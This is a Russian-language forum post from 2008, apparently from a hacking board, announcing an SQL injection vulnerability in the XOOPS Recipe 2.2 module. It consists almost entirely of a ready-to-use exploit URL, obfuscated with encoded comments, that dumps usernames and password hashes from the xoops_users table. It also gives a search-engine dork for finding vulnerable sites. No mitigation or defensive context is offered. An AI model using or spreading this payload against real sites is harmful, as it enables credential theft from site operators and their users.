Тема: [Обзор уязвимости] Xoops и его модулей.
Показать сообщение отдельно

XOOPS Project-Recette(Recipe)2.2 SQL Injection Vulnerability
  #5  
Старый 22.03.2008, 13:10
iddqd
Banned
Регистрация: 19.12.2007
Сообщений: 924
Провел на форуме:
4192567

Репутация: 2145


По умолчанию XOOPS Project-Recette(Recipe)2.2 SQL Injection Vulnerability
SQL Injection

Vulnerable: XOOPS Project-Recette(Recipe)2.2

Exploit:
Код:
modules/recipe/detail.php?id=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/0,0,uname,pass,111,222+from%2F%2A%2A%2Fxoops_users/*
Dork:
Код:
allinurl :\"modules/recipe\"